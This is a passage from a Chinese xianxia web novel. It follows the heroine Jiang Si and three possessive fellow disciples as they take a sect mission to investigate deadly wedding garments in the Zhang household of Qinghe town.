她握紧手中长剑,左脚点地,轻身一跃,青衣翻飞之间,稳稳落在了那妖怪头顶。
不等竹妖反应过来,锋利剑刃已轻而易举刺进它的眉心,小姑娘手腕灵活翻转,不多时,一颗暗沉的白色晶石便被挑了出来。
刚才还嘶吼着的妖物轰然倒地,庞大身躯激起一地尘灰。
姜姒随意擦了把额角汗珠,收剑入鞘时瞥见了剑身上的绿色汁液。
已经掏空灵力的身体疲惫得很,她本想着睁一只眼闭一只眼,毕竟现在是在幻境,除了体力消耗,一切其他的都不作数。
但......
犹豫一瞬,她还是拼命榨出几滴灵力,强撑着施了个清洁咒。
长剑光洁如新,恢复了原本的美貌。
少女这才满意点头,抬手撤了幻境。
后背传来汗湿的黏腻感,姜姒抬眸扫了眼天色,应是刚过午时,阳光还有些晃眼。
离下午去管事处领任务还有很长一段时间,够她舒舒服服泡个澡了。
打定主意后,她进了内室。
刚刚斩杀一只中级妖兽,姜姒累得很,反应比平时稍显迟钝些,故而没注意到,向她这边快速靠近的三道气息。
*
看着身旁两道清隽挺拔的身影,江年不知为何,心中烦躁异常。
按理来说,作为一个自带诅咒的人,有人愿意跟她走得近,她应该高兴才是。
但她宁愿那两人永远不要出现。
这样姜姒的秘密就只有她知道,姜姒也只能跟她分享喜怒哀乐。
她们会越来越亲近,经年久远,永不分离。
而不是像现在这样,被迫和两个外人分享天道赐予她的珍宝。
少女近乎无声叹了口气
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,有些头疼地揉了揉眉心。
季长青也很烦躁。
少年眼底划过戾气,苍白到几乎看不到血色的手藏在宽大长袖中。
瘦削修长的食指和拇指不耐地相互揉搓按压,时轻时重,昭示主人此时不平躁郁的心境。
要不是怕那蠢猫的秘密泄露出去,他怎么会和身边那两人走到一起,还美名其曰什么‘朋友’。
真是贪心的猫。
不动声色扫了眼身边的一男一女。
季长青掰了下指骨,心中感叹,明明只要他一个就够了的。
非要招惹到那么些和他一样难缠的家伙。
到时候看她怎么收场。
说来也巧,他和江年是同一天发现姜姒妖身化形秘密的。
当时通灵镜里疯传毛绒团子离宗消息时,他是不信的,他不信自己又被再次抛下。
它明明很黏他。
直到那猫三天都没来药田。
他精心准备的草药从清晨放到深夜,没人再碰过。
他又恢复了沉默寡言的性子,张扬又毒舌的一面,好像只存在于他和白猫独处的时刻。
本以为缘尽于此,往后再难相见,但上天还是眷顾他季长青的。
他又找到她了。
还亲眼看到她从人变幻成那只熟悉的白猫。
旁边站着一个陌生少女,他认识,宗门内人皆远之的灾星。
她好像很怕他,宁愿躲到那灾星身后,缩成一团,也要装作不认识他的样子。
真可爱。
他无视那灾星少女警惕的神情,几步上前,蹲下身,轻声开口哄骗:
“别怕,我不会说出去的。”
“我们是朋友,不是吗?”
他以前还是季家少主时,很讨厌有人说他和他那个亲生父亲相像,毕竟没人想像个人渣。
但这一刻,他不得不承认,他们的确很相似。
一样的会哄骗人心,一样的为达目的、不择手段。
他想他当时的表情一定很真诚,不然那猫也不会只犹豫了半刻钟就信了他的鬼话。
他的蠢猫最是烂好心,什么秘密都敢告诉别人。
但是没关系——他会帮她好好善后的。
抚摸怀里熟悉的温软绒毛,他抬起眉眼,第一次冲着那个灾星露出友好善意。
那绿裙少女一愣,神色却愈发警惕。
季长青挑眉,也不甚在意,只垂着眸,无视一旁的眼刀,专心感受着手中失而复得的暖意。
后来他们之间,又多了个郁清。
三人维持着微妙的平衡,心照不宣地在姜姒面前展现出关系不错的模样。
但只有他们自己知道。
他们几个实际上都巴不得对方快点消失。
也好从此少一个和自己争抢姜姒注意力的对手。
“到了。”
一旁的郁清突然开口,将季长青唤回了神。
他微微点头,正准备推门而入,却被一只修长白皙的手拦住了。
是江年。
她像是听到了什么奇怪声音一样,平日里在他们面前刺猬般的冷漠消失殆尽,面颊泛上淡淡红晕。
季长青有些稀奇,正想问她怎么了,却听面前这人语速飞快地说了句:
“先别进去,阿姒……”
“在沐浴。”
16. 016
氤氲热气蒸腾而上,沾湿的长睫微垂,瓷白面颊染上一片红晕。
薄雾弥漫间,少女眉眼有种浓墨重彩的好看。
水温适中,酸胀的肌肉逐渐放松下来。
乌发随意挽在脑后,姜姒枕着手臂,思绪不自觉蔓延,想起自家师尊昨夜专门叮嘱过她的话——
“你如今修为已稳至筑基圆满,明日申时左右,记得去管事处领个下山任务。”
小姑娘当时困惑得很,毕竟以她看修仙文的经验,下不下山这种事自主性很高,全看弟子本身愿不愿意,宗门基本上都是不插手的。
也亏得黎川温润体贴,看她一脸茫然模样,不仅不嫌弃,还耐心给她解释其中缘由。
六百多年前,乾坤宗的开宗师祖对亲传弟子们要求极其严格,力排众议立下了——‘凡本门嫡系亲传,凝出金丹前,必须下山历练,以求本心剔透,道途坦荡’这么个规矩。
据青年委婉表述,师祖这么做,主要是为了帮宗内弟子早些看清适合自己体质的修行之道。
如此,来日修炼时,方能天人合一,事半功倍。
他说完,还斟酌着想补充什么,一旁的柳云意却先他一步。
带着香味的手轻轻掐了把少女的软嫩脸颊,女人语气里是三分玩笑七分认真:
“我说我那单纯的小师侄,可别被你师尊这番鬼话给忽悠了。”
白皙到有些透明的指尖灵巧拨开姜姒额前微乱的碎发,柳云意垂眼,笑道:
“修炼一途,体质合适、灵力本源都是狗屁,师叔只教你一句——万事随心。”
“可别因为什么天赋难求,便委屈自己选一条你本不喜欢的道。”
她嘴角明明是翘着的,姜姒却有种莫名的感觉,好像她此刻很难过。
难过到那双向来漂亮张扬的狐狸眼里,都流淌着淡淡的悲伤和经年的遗憾。
柳云意说完,黎川和陆知也都沉默了,整个太渊殿里,一时落针可闻。
最后还是姜姒试探着开口,打破了这殿内有些沉闷的氛围。
少女声音柔软,刻意放轻时,像午后懒洋洋的天上云。
她几步走到黎川身边,躬身行了一礼:
“多谢两位师叔教诲,师侄谨记于心。”
老老实实低着头跟在青年身后的姜姒,在离开大殿的前一秒,忽的回眸,卖乖一般眨了下眼,语调轻快:
“柳师叔!既然本心难明,那不管怎样——”
“能真正看清自己的心,就已经超厉害啦!”
小姑娘飞快说完后,没敢看自家师叔的神情,脚底抹油溜走了。
紫衫女人愣了一下,反应过来后只觉好笑:
“这小屁孩儿,还教上我来了?”
“下次得跟小师弟说一声,别再惯着她了,整天没大没小的!”
看着师妹弯起的眉眼,和语气里怎么都藏不住的笑意。
陆知也勾起嘴角,附和道:
“嗯。”
“下次我去说他。”
*
水温渐凉,姜姒用灵力烘干身上水珠,正一件件套衣服时,门外忽然传来一声闷哼。
声音被压得很低,但她还是听到了。
草草系好腰带,顾不上发尾还滴着水,少女脚尖一点,轻巧旋身跃至门口,双指并拢,青绿长剑便应召而来。
“谁在外面?!”她微微偏头,呵斥出声,手中利剑蓄势待发。
原本传来声音的门外此时却安静得很,无人应答,仿佛姜姒刚才听到的闷哼只是个错觉。
小姑娘眉头皱的更紧,考虑着要不要先下手为强。
正当她耐心耗尽,准备一剑刺出时,一道熟悉嗓音兀得响起:
“......师妹别怕,是我,江年。”
紧绷的身体瞬间放松。
姜姒长舒一口气,直起身收剑入鞘,几步上前开了门:
“是江师姐啊,你怎么这个时辰突然......”
“过来了。”
出乎姜姒意料,门外站着的还不止江年一人。
反派和男主不知怎的凑了个对儿。
都是同门,还是任务目标,也不能装看不见。
小姑娘只好硬着头皮打招呼:
“...郁师兄...季师兄,下午好。”
“午好。”
季长青淡笑着点头,面色还是一如既往的苍白,看起来像是个走一步要喘三口,命不久矣活不长的病秧子。
出于礼貌,姜姒也对他笑了下,目光却不自觉地转向一旁沉默着的郁清。
不过几日未见,男主看起来愈发寡言了。
是有什么心事吗?
没等她斟酌着发问,一旁的季长青先开了口:
“师妹衣衫有些凌乱,是午睡刚起吗?”
“听闻剑尊今日恰巧不在宗内,不知师妹下午可有兴趣和我们一道修炼?”
一说衣衫乱了,小姑娘还没什么反应,另外两人却像是被烫着似的,飞速移开了目光。
“没”,姜姒有些不自在地理了理衣襟,把垂在脸侧的碎发撩了上去,“我刚沐浴完,等会儿还要去一趟管事处,领个任务下山历练。”
“之后几月应该都不在宗门,恐怕要辜负师兄师姐此番好意了。”
“下山?”
一直没怎么说话的郁清忽得开了口,见少女望来,他也抬了眼,一双瞳孔黑沉阴翳,眼尾的朱色小痣缀在冷白的面皮上显得秾艳逼人。
极致的白与红,冷与艳。
晃得姜姒失神一瞬。
满意看到小姑娘眼底一闪而过的惊艳之色后,少年不着痕迹地勾了下嘴角,声音却是如往常一般的冷漠疏离:
“金丹都没结就下山历练?怕不是上赶着找死。”
原本还有些躁动的心瞬间冷静,姜姒冷笑一声,很好,男主依旧是那个男主——
一如既往难搞的挑刺事儿精。
强压住翻白眼的欲望,少女清了清嗓:
“唉,其实吧,我也不想这么早下山的,奈何师尊昨夜专门交代过,凝结金丹前的乾坤宗嫡系亲传,都要经历过这么一遭,纵使我不情愿,可师命难违啊。”
她故意把‘嫡系亲传’几个字咬得极重,话里话外的阴阳怪气就差溢出来了。
郁清那厮果然被她怼的没话说,自知理亏,只低着头沉默,没再说什么。
姜姒在心里‘哼’了声,偏过头不再看他,只
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专心听江年念叨着下山的注意事项。
敏锐感知到那道视线移走,郁清压制下身体的颤栗,长舒一口气。
心跳鼓噪,一下一下,快得不正常。
他不自觉伸出左手,捂住半张脸,藏在冷白肌肤下的淡青血管因为兴奋而微微鼓起,狭长眼尾晕出深色绯红,喉结上下滚动,鼻息洒在手心,一片湿热。
他的猫猫刚刚看他了。
少年长睫微颤。
刚才斜他一眼,是生气了嘛?
不过他的小猫发脾气也好看,眼瞪得圆圆,又湿漉漉的。
里面只有他一个人。
真好。
*
直到分发任务牌的弟子第三遍问她是否确认此次下山四人同行时,姜姒都没想明白,她到底是怎么把潇洒红尘一人游变成拖家带口小分队的。
少女本想说等她再仔细考虑考虑,身旁的江年却好似看穿了她临阵脱逃的想法,用一种但凡是个女人都很难拒绝的、亮晶晶的眼神盯着她看。
也不说话,就硬看。
僵持不过三息,姜姒率先败下阵来,闭着眼冲那位好心弟子点头:
“是是是,我确认此次任务四人同行。”
心软真是个毛病。
江年只是似是而非提了几句自己走后,她会如何孤单、如何受人排挤,她就上赶着要和人家一起下山。
本来只有一个也还好。
后续不知怎的就发展到了季长青,最后连郁清也要跟着去了。
姜姒猛女落泪。
她以后一定要做个心硬如铁的女人!
那弟子是真不明白,一个丁级任务而已,为何非得四个人一起绑着做,是怕单独一个完成不了这任务吗?
他不理解,也不太想支持。
奈何眼前这位同门看起来心意已决,手里甚至还持着一块亲传弟子令。
他只得乖乖照做。
半刻钟左右,一个金色的小型阵法悬在了姜姒面前。
“把指尖血滴在这上面”,弟子好心解释道,“等阵成之后,你就算正式接下这个任务了。”
少女点头,抽出腰间长剑便准备刺破手指放血。
然而,变故就在一瞬间——
姜姒自从结契后就一直乖顺听话的本命灵剑逢惊春,像是突然生出自我意识一般,猛地从她手中脱离,飞向了柜台之后挂着各种任务牌的地方。
灵剑上下摇晃着,像是很着急的模样。
偏它不能开口说话,只能在某片区域绕着打转。
许是剑修和自己的本命剑大都心意相通,少女后知后觉反应过来——
她的灵剑,好像在帮她挑任务。
“你是......想让我在那片区域里选一个任务牌吗?”
姜姒试探着发问。
逢惊春先是愣了一瞬,随即疯狂上下晃动。
它还怕姜姒挑不出它想要的那个,主动转身,剑尖一挑,一个黑色木牌便‘啪嗒’一声落了下来。
众人捡起一看,只见那木牌表面有层薄薄的浮灰,像是已经许久没人碰过了。
黑底的牌面之上只用朱笔写了八个大字——
【两姓结姻,鸳鸯比翼】
17. 017
姜姒不知是不是自己太过敏感,瞥见那血红文字的第一眼,她就感觉有股难以言喻的窒息和烦闷涌上心头。
莫名其妙的,她也说不清为何。
长眉拧起,随意碾去指尖尘灰,姜似看向身旁明显愣住的管事弟子,问道:
“...结姻...鸳鸯,敢问师兄,这个任务是关于谁家娶亲期间发生的怪事吗?”
“娶妻时发生的事......”,那弟子皱眉闭眼,看起来像是在艰难回忆。
也不知是他记性不好还是纯粹因为这任务被扔到犄角旮旯太久,他想了半天,仍是支支吾吾的,说不出个所以然来。
正当姜姒几人准备放弃,转问其他管事时,他却突然眉头舒展,睁眼恍然道:
“我想起来了!”
“我想起来这具体是个什么事儿了!”
“什么?”
原本都已经转身的几人偏头回望,看向那个明显有些兴奋的弟子。
“哎,那其实就是个两家结亲一直结不成的小事。”
?!结亲都结不成了,还算是小事么?
见姜姒一脸不可置信,那管事弟子仿若经验丰富的过来人一般,语气里带上了几分独属于修仙者的傲气:
“师妹你年龄还小,又天赋异禀,自然不知道那些没有仙缘的凡人是如何对待这婚嫁之事的。”
像是怕被有心人听见,他仔细环顾一周后,声音又低了几分:
“其实咱们山脚下的城镇都还好,毕竟毗邻仙山、宗门会时不时派人下山教诲传道。”
“凡间百姓又巴不得和仙门中人多沾点干系,不自觉就把咱们一些生活习惯跟着学了去。”
“比如饮食清淡,不食荤腥之类的。”
“自然,婚姻嫁娶也是一样,大多数修仙者心境纯澈,又牵系着飞升得道,一生只会有一个道侣,且都是两情相悦,自由结契。”
“但那些远离修真宗门的城镇,便不是这般了。”
他像是想起了什么令人痛心的事,语调又变得愤慨起来:
“那里的人只讲究门当户对,年轻的不论男女,都被当作随意买卖的物件,合适了便互相交换,没什么自主意愿一说。”
“任务牌上的这事儿,就发生在这样的镇子里。我记得好像叫......叫,叫青禾镇!”
“没错,就是这个名字!”
青禾镇?
少女抿唇,她的记忆里,原书前期根本就没有这个地方,为何突然发生了变化?
难不成......
姜姒偷偷瞥了好几眼身边长身玉立的少年,他正垂眸听得认真。
难不成是因为她当初救了男主,剧情才会发生偏移的吗?
毕竟原著里这时候他还在任人欺凌,为后期巅峰开大积攒黑化值,根本就没像现在这样,不仅没什么人欺负,甚至还和两个反派混得不错。
主线剧情发生偏移,最直接的后果就是她目前的金手指——上帝视角,可能会直接报废。
换句话讲,就是她在这个陌生世界里唯一的一个依靠消失了。
后悔么?
小姑娘有些出神,要是没救郁清,剧情主线不变,她可能在这个异世会活得更轻松安全些。
不,不是可能。
是一定。
正当她胡思乱想,思绪不知飞到哪儿时,手腕处突然传来一阵拉力。
很轻,但足够她回神。
拉着她的手指修长冰凉。
姜姒几乎是下意识就偏头看向了郁清。
猝不及防的,她对上了一双漂亮的眼睛。
凤眸黑沉,长睫轻颤。
看得她心中莫名一动。
郁清说话的腔调依旧冷淡,但姜姒不知怎的,就是从中听出了几分别扭的关心。
他说:
“毕竟是第一次的下山任务,姜师妹还是仔细听听比较好,免得到时候错过什么关键线索,完不成任务,丢的怕不仅仅是自己的人。”
随着这句话一起入耳的,还有那名管事弟子愈发抑扬顿挫的声音。
“......我跟你们说,这可是我们管事处独有的内部消息,不许外传的那种,今日若不是看我们几人之间有缘,我也不会说的......”
小姑娘彻底回神,忽得轻笑一声。
郁清正想问她笑什么,就见眼前人朝他摇了下手腕,带着撒娇笑意的女声在脑海中响起:
“我知道错了郁师兄,关键线索来了,先松手吧。”
像是被烫着似的,几乎在少女说完的一瞬,郁清就飞快收回了手,低着头不再看她。
白皙耳尖悄悄染上绯红。
调戏完纯情男主,扳回一局的姜姒心情大好。
她想,她应是不后悔的。
第一个发现小姑娘走神,并全程目睹了两人互动的管事弟子:......
现在的小年轻,玩的都这么花了么?
因着姜姒亲传身份,不能轻易得罪,管事弟子只能一边心酸一边窝囊。
不着痕迹地绕回重点,确保这少女回神时不错漏任何重要信息——
“......那青禾镇,原本就只有几户人家称得上是富庶,除了我先前说的李家,还有就是张家和王家。偏那王家独子是个不争气的,吃喝嫖赌样样不落。”
“王家虽然现在还算家产丰厚,但也禁不住自家独子天天败啊,故而等到那三家儿女都到了适婚年龄时,张家长子和李家长女便成了婚。”
“说来那李家长女还是个旺夫的,自她嫁入张家后,不仅给夫君生了个大胖小子,就是那张家近几年也是蒸蒸日上,甚至隐隐有超过另外两家的势头。”
“奈何那李家长女红颜薄命,嫁入张家不过五年,便撒手人寰了......”
“说来也怪,那张大郎许是命格过凶,自那之后,连着克死了好几任续弦,渐渐的,也就没人敢嫁他了,反而把目光投到了张家二郎身上。”
“等等——”
敏锐察觉到怪异之处的姜姒皱着眉,沉声发问::“你是说,自那李家长女后,张大郎娶一个,便克死一个?”
“正是”,管事弟子点头答道,“我们当初也觉得这事有些蹊跷,接这任务的弟子也都去张家细细探查过,但都没发现什么不妥之处。”
“最后我们只能判断,大概是那张家大郎命格太硬,寻常女子的命格降不住他。”
“这不,这任务牌上写的就是张家次子和李家三女的婚事,和他没关系了。”
“张家大郎娶亲顺利,为何偏到了二郎处就结不了亲?”
“季师兄,你出身世家大族,对这事儿,可有何看法?”<
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p>不是姜姒故意戳人伤处。
实在是他们几人里,只有季长青一个,算是经历过世族内部争斗的。
江年出生的时候江家就已经败落了,郁清更不用说,出生起就没过过几天好日子,至于她嘛......
少女叹气,纯牛马罢了。
听姜姒这么问,季长青也没生气,依旧是那副淡笑着的模样。
他垂眸深思片刻,斟酌着给出了回答:
“这得看张家两兄弟的关系如何,但之前这位师兄提到过,张家大郎二郎乃一母所出,二者之间,并不存在某种立场或者任何利益的冲突。”
“最重要的是,张家能在短短几年之内突飞猛进,蒸蒸日上,说明家族内部团结,不存在过多的勾心斗角。”
这番分析有理有据,成功说服了姜姒。
考虑的可能性被排除,她只能示意管事弟子继续说下去。
“其实这张二郎和李三娘前期的大婚筹备挺顺利的,唯一出问题的,就在那婚服之上。”
“张家从大郎这代结亲开始,就有个传统,新婚夫妇穿的喜衣不是由专门的绣娘缝制,而是由张家自己提供。”
“怪就怪在这,不管是李三娘还是张二郎,穿了那喜服后,不过一炷香的时间,一准的喊疼。两家都找大夫来治过,最后都无甚效果。”
“我们也去瞧过,从那衣服的内衬看到布料,都没发现什么异常。也给张二郎和李三娘把过脉,他们的身体也并无不妥。”
“既然只是衣服的问题,那为何不干脆换件喜服呢?”,一直沉默着的江年突然开口,“说不定是那衣服上被人设了高阶阵法,修为不够的人看不出来?”
“要换早换了。”
管事弟子长叹口气:
“是那张家上至家主长老,下至族内小辈,都不同意换喜服的事。问他们为何,也只是强调那喜服是每任主母精心缝制的,承载着特别的祝福,对他们来说有特殊意义。”
“这张家人明显不对劲的样子,那李家家主,还同意把女儿嫁过去么?”
“嫁,怎么不嫁。”
“我之前都说过了,在青禾镇,年轻适婚的男女不过任人摆布的物件而已,由不得他们自己,都是父母长辈做主。”
此言一出,在场几人都有些沉默。
管事弟子最后补充了几句,眼看天色渐晚,把手中木牌擦拭干净后递给了姜姒。
“我们知道的大概就这些了,具体情况还得去到青禾镇后才能更了解。”
“明天出发时记得再来此处领下山令牌。”
他说着,忽得弯腰拱手朝几人行了一礼:
“这任务虽不过丙级,但牵涉多人性命,若师弟师妹此行能查明真相,也算是解了我们管事处所有人的一个心结。”
“李炎在此,先行谢过了。”
前一刻还有些嬉皮笑脸的人此刻神情肃穆,姜姒一顿,随即拍了拍面前人的肩膀,柳眉轻扬:
“放心吧李师兄,包完成任务的!”
身后几人没说话,却也附和着点头。
窗外落日熔金,映照在他们身上,显出别样的少年风华。
李炎抬眸,透过逆光的身影,仿佛回到几十年前他第一次下山的场景——
也是这般热血轻狂的青涩,这般不知天高、不知地厚的意气锋芒。
18. 018
次日晨光微亮,鹤啼清越。
几人拿好令牌,辞别李炎后便下了山,青禾镇位于乾坤宗东北方向,距离不远不近,四人商量一番,决定御剑而行。
刚好队里有两个剑修。
一人带一个,正正好。
姜姒反应良好,表现积极,甚至有些兴奋和跃跃欲试。
她率先唤出腰间长剑,脚尖轻点一跃而上,淡绿衣裙翻飞翩跹间,少女偏头伸手,明眸热烈张扬。
“师姐快上来!”
“我最近新学了几个御剑招式,正想展示给你看看呢!”
清亮嗓音在山野间显得生动无比,江年听完轻轻‘嗯’了声,随机毫不犹豫握住伸向她的那只手,几乎没怎么借力便轻巧上了剑身。
她身量其实比姜姒略高几分,下巴刚好可以搁在对方肩窝处。
先是试探性地碰了碰,见小姑娘没有明显排斥,她便放心垂了头。
相比她们这边的默契,郁清和季长青那边就敷衍难办得多。
二人全程几乎没有什么交流,只是一味地尝试上剑。
季长青明显身子不好,做不得大动作。
偏那郁清是个没脑子也不长眼睛的,剑身也不知道放低一点。
最后姜姒看不过去,准备咬咬牙多带一人时。
少年却终于明悟一般,主动放低剑身,让季长青成功站了上去。
虽说几人开头不是很顺利,但好在他们后面飞行时没出什么问题。
一行人紧赶慢赶,总算是在日暮时分抵达了青禾镇,见到了张家主。
出乎姜姒意料,那家主是个身材矮小,相貌丑陋的男人。
华贵锦衣不仅没衬得他风流倜傥,反而愈发显出他的佝偻猥琐。
小姑娘蹙眉,下意识瞥了眼身侧的季长青。
果不其然,他也是拧着眉头神情严肃的模样。
没等二人眼神对上,男人抢先一步开了口:
“我观诸位皆是样貌脱俗,气度非凡之人,想必便是那仙门派来解决我们张家怪事的仙长吧?”
他说着,拱手行了一礼:
“在下张天,暂代张家家主之位,幸会。”
男人礼数周全,说话间也是进退有度,挑不出什么毛病。
姜姒却只觉怪得很。
一切都怪得很。
明明李师兄临行前嘱托过她,说什么张家家主面容俊俏,长身玉立,且体格康健,有长寿之相。
若师兄所言非虚,这样的人,怎么会突然让出家主之位,让旁人暂代?
疑点太多。
为避免打草惊蛇,姜姒忍着没发作,只提线木偶似的跟着师兄师姐们一齐点头。
男人很满意,没再多问什么,只挥手让人带他们先去别院休整片刻。
待晚膳时,他再亲自招待他们。
带几人去别院的是个约莫十四五的小丫头,嘴严得很,一路上姜姒拐着弯套话都没套出半点有用的消息。
问她什么都只会说‘是’,要么就是‘不知’,除此之外,再吐不出第四个字来。
眼见套话这条路是走不通了,少女干脆闭了嘴,细心打量起这张家宅院的布局来。
说来也怪,这宅院虽处处都修得精巧雅致,引水栽花,回廊坊桥,一应俱全。
但姜姒就是越看越有种莫名的难受心悸。
她其实也说不明白这到底是为何。
直到天边最后一缕霞光褪去,她才恍然——
这宅子檐角压得太低,又互相紧凑着。
抬头一望,里面便只能看见四四方方的,窄小灰暗的天。
这地方像个鸟笼。
把人折断翅膀永久禁锢,生生世世纠缠不休的,吃人的鸟笼。
好像唯有死亡才能真正解脱。
*
“阿姒?阿姒!——”
“你到底对我师妹做了什么?!”
......
担忧愤怒的尖锐女声逐渐唤回了姜姒的意志,许是趋利避害的本能,几乎是下意识的,少女后退了一步。
身后隔着布料传出的温热和一声声变快的心跳让小姑娘又清醒了几分。
身体掌控权逐渐恢复,视野清晰的一瞬,姜姒只觉后背发凉。
眼前是个栽着荷花的水潭,不同于其他小谭的清澈见底,这个潭的潭水是
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浑浊的,肉眼根本看不清水下的真实情况。
换句话讲,若是一脚踏空踩了进去又无人搭救,必死无疑。
虽说她是修仙者,但目前也不过堪堪筑基圆满。
而且......
看她师姐方才的着急模样,想必也是用尽办法唤不醒她。
姜姒抬眸,江年还没发现自己已经清醒过来,手中黑色阵盘蠢蠢欲动,红色杀机若隐若现。
生怕对方黑化开大,小姑娘哑着嗓子,拼尽全力挤出一句‘师姐’。
奈何声音太小,又隔得较远,江年怕是没听见。
正准备蓄力再喊一声,却见刚才还隐隐有着暴走趋势的人,几乎是瞬间就赶到了她的面前。
颤动着发泄不满的阵盘被无情压制,江年抚上少女眉心,嗓音很轻,却抖得像是下一秒就要哭出来。
“...没事了阿姒...醒过来就没事了。”
“刚才真是吓死师兄师姐了。”
她很贴心地没在外人面前追问到底发生了什么,只重复着‘没事就好’。
小姑娘还想说些什么,却忽然觉得眼皮沉重,浑身无力疲惫至极。
她只来得及嘱咐一句‘没事,睡会儿就好’,意识便坠入了无尽的深渊。
彻底闭眼的前一秒,她瞥见了不远处那个女孩儿的脸。
明明是十四五岁稚嫩可爱的五官长相,却显露出一种不合年龄的成熟怪异感。
似是发现了姜姒的目光。
她猛地抬眼,眼黑过多的瞳孔显得格外阴森,殷红嘴唇被扯开,她挣扎着,绽放出了一个甜美无比的笑容。
*
姜姒再次醒来时,外边的天色依旧是黑沉一片。
太阳穴后知后觉地开始剧烈疼痛,屋里很暗,像是没点灯。
用力摁了下额角,少女掀开身上厚重的棉被,正准备坐起时,忽得摸到一片冰凉柔软的东西。
卡在喉咙里的尖叫声被一根修长手指堵了回去,一道熟悉的男声慢悠悠响起:
“...师妹还有力气叫唤...想来应是没什么大碍了。”
“不如挪动下尊躯,把床让给师兄躺躺?”
19. 019
熟悉的音色让姜姒原本紧绷的心弦瞬间放松。
周身竖起的尖刺软了下去,小姑娘有些无奈:
“季师兄。”
“下次别这样了,怪吓人的。”
刚睡醒的人嗓音轻哑,明明是再正经不过的语气,听在旁人耳里,却像是撒娇一般。
被点到名的少年下意识捻了捻指尖,少女殷红唇瓣的柔软触感依旧清晰。
季长青移开视线,佯装镇定‘嗯’了声。
依旧是漫不经心的语调。
隐在暗处的耳根却悄悄泛起不为人知的绯红。
他抿了抿唇,还想再说些什么,却被身后察觉到动静的两人抢了先。
江年是最快的。
她仗着性别优势,几步上前扑到小姑娘怀里,也没给人反应时间,就颤着嗓子带着哭腔开了口:
“阿姒你终于醒了!”
“师姐还以为你再也醒不过来了!”
“明明说好会一直陪在师姐身边的,阿姒差点食言!”
江年一番话说得又急又快,姜姒脑子还没反应过来,只看着眼前人美目含泪、芙蓉泣露的可怜模样,手就先晕乎乎抱住了对方。
嘴里下意识就开始边哄边安慰。
被挤到后面的季长青和郁清如出一辙的神色复杂:......
真装。
完全没感受到三人之间暗流涌动的姜姒费劲哄好怀里少女后,随口问了句‘怎么不燃灯’。
听到这个问题,原本还较着劲的几人瞬间安分,就连江年也正了神色。
“怎么?”,察觉到气氛不对的小姑娘蹙眉抬眸,“这香有问题?”
“何止有问题。”
找着机会开口的郁清依旧是那种让姜姒拳头硬硬的语气:
“你若燃着灯再多睡会儿,说不定那幕后之人看你如此信任不设防,心一软,给你留个全尸。”
“你!——”
“好了好了,师妹莫气,郁师弟说话总是这样不中听的。”
刚想还击回去的小姑娘被人顺着捋了捋毛,美人纤指如玉,还带着淡淡芬芳香气。
“其实那灯我们刚进屋就燃了,但不过一会儿,季师兄就察觉出不对——灯油里似乎被人添了什么东西,会让人神思倦怠,甚至产生幻觉。”
“为避免打草惊蛇,我们就只灭了那烛灯,想着等师妹你醒了再一起商议。”
江年嗓音温柔,起了很好的安抚作用,小姑娘原本还有些烦躁不安的心渐渐稳定下来。
她先是瞪了郁清一眼,随即眼波流转,看向季长青时便已恢复了平常模样:
“季师兄,你可能分辨出那灯油里到底添加了什么?”
“惭愧”,少年鸦色长睫微垂,浑身都散发出自我责备的郁气,“许是我学艺不精,暂时分辨不出灯油里添加的东西。”
见他颓丧神色,姜姒不可避免想起原著里对方经历过的腌臜事,心中顿时充满怜爱。
所以几乎是在季长青说完的下一秒,她就迅速摆手安慰道:
“没、没关系的,又不是师兄的错,师兄不必自责。”
许是觉得这点安慰太过浅薄不是很够,姜姒又迅速调转火力对向幕后之人:“定是那幕后黑手太过狡猾,用的都是些偏冷难寻的东西,这才叫师兄难以分辨。”
见自家师兄眉头舒展,终于不再是那副郁结于胸的模样。
姜姒满意总结道:“反正千错万错,都归不到师兄你的头上。”
卖惨成功的季长青快压不住唇边笑意,矜持点头。
同行三人,一个收获了拥抱,一个收获了安慰。
什么都没得到还被猫猫翻了个白眼的郁清:......
不是。
以前怎么没发现他们这么会装。
正当少年也垂了眉眼,想着怎么才能让那人多关心关心自己时,屋门突然被敲响。
他神色一凛,反手握住腰间长剑便向姜姒那边迅速挪去,和另外两人呈保护之势围着床上少女。
“咚、咚、咚——”
叩门声响整齐划一,却带着股说不清道不明的诡异之感。
“谁?”
被护在中间的小姑娘试探着开口:“这么晚了,有什么事么?”
“回仙长的话”,一道有些熟悉的女声响起,“晚膳时辰到了,我是家主派来请各位移步饭厅用膳的。”
再三确认外面那人身上无甚异常后,郁清上前开了门。
姜姒抬眼望去,只见傍晚还处处透着诡异的人此时面色红润,举止恭顺。
她弯腰敛眸,轻声开口:
“诸位仙长,请吧。”
*
几人来到饭厅时,桌旁坐着的除了张家家主张天,还多了一男一女两张陌生面孔。
姜姒随意扫了一眼,那男的生得寡淡平庸,弓腰塌背,一副怯懦模样。
身旁紧挨着的少女却是芙蓉面柳叶眉,姿容瑰丽,落落大方。
小姑娘心中暗叹,好好一朵张扬春花,却平白配了个木头疙瘩。
让人看了说不出什么好话。
若她没猜错,这二位便是她此次任务的主人公。
果不其然,一见到他们,张天起身相迎的同时,也介绍了那二人的身份——
正是张家二郎和李家三娘。
众人客套一番,落座时桌上饭菜都已凉的差不多了。
姜姒有些可惜,拿起手边茶水轻啜一口后,决定直奔主题。
她看向坐在主位的张天,提出了今晚第一个,也是她认为最重要的一个问题:
“下山前,我曾听师兄提过一嘴张家的基本情况,尤记他夸赞张家现任家主,也就是张大郎张麒,龙章凤姿,有长寿之相,不知府上出了什么变故,怎的忽然换了家主?”
“这个啊”,张天叹了口气,眉宇间阴郁尽显,“大抵是天妒英才吧。”
“想当初家主还是我堂弟张麒时,我们张家那真是蒸蒸日上,旁人都羡慕不来的富贵日子。”
“现在想想,也许就是因为家业越来越大,压在他身上的担子越来越重吧,他身体才越来越差,一日不如一日。”
像是自责,他用力摁了摁眉心,补充道:
“若是我能早点发现他的异常,说不定,他也不会病成后来那个样子。”
“很严重吗?”,季长青接过话头,语气里带着关心
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,眼神却冷得很:
“在下不才,自小研习医术,若是家主信得过,不若让我看看,说不定有缓解之法。”
“劳烦仙长挂心”,张天拱手致谢,“不过不用了,大郎已于一月前,病逝安葬了。”
“既如此,家主还是以身体为重,节哀。”
“我没事”,张天摆了摆手,看向一旁的张麟,眼神忧虑,“只我家二郎这婚事,实在蹊跷。”
“那喜衣乃是我张家上一任主母传下的珍宝,名贵异常,以前都没出过问题,偏偏在我们家老二身上出了事。”
“要我说”,他眼神突然变得锐利,像是毒蛇的尖牙,冷不丁咬上一旁沉默的少女,“就是那李家风水不好,生出的赔钱货专克我张家儿郎!”
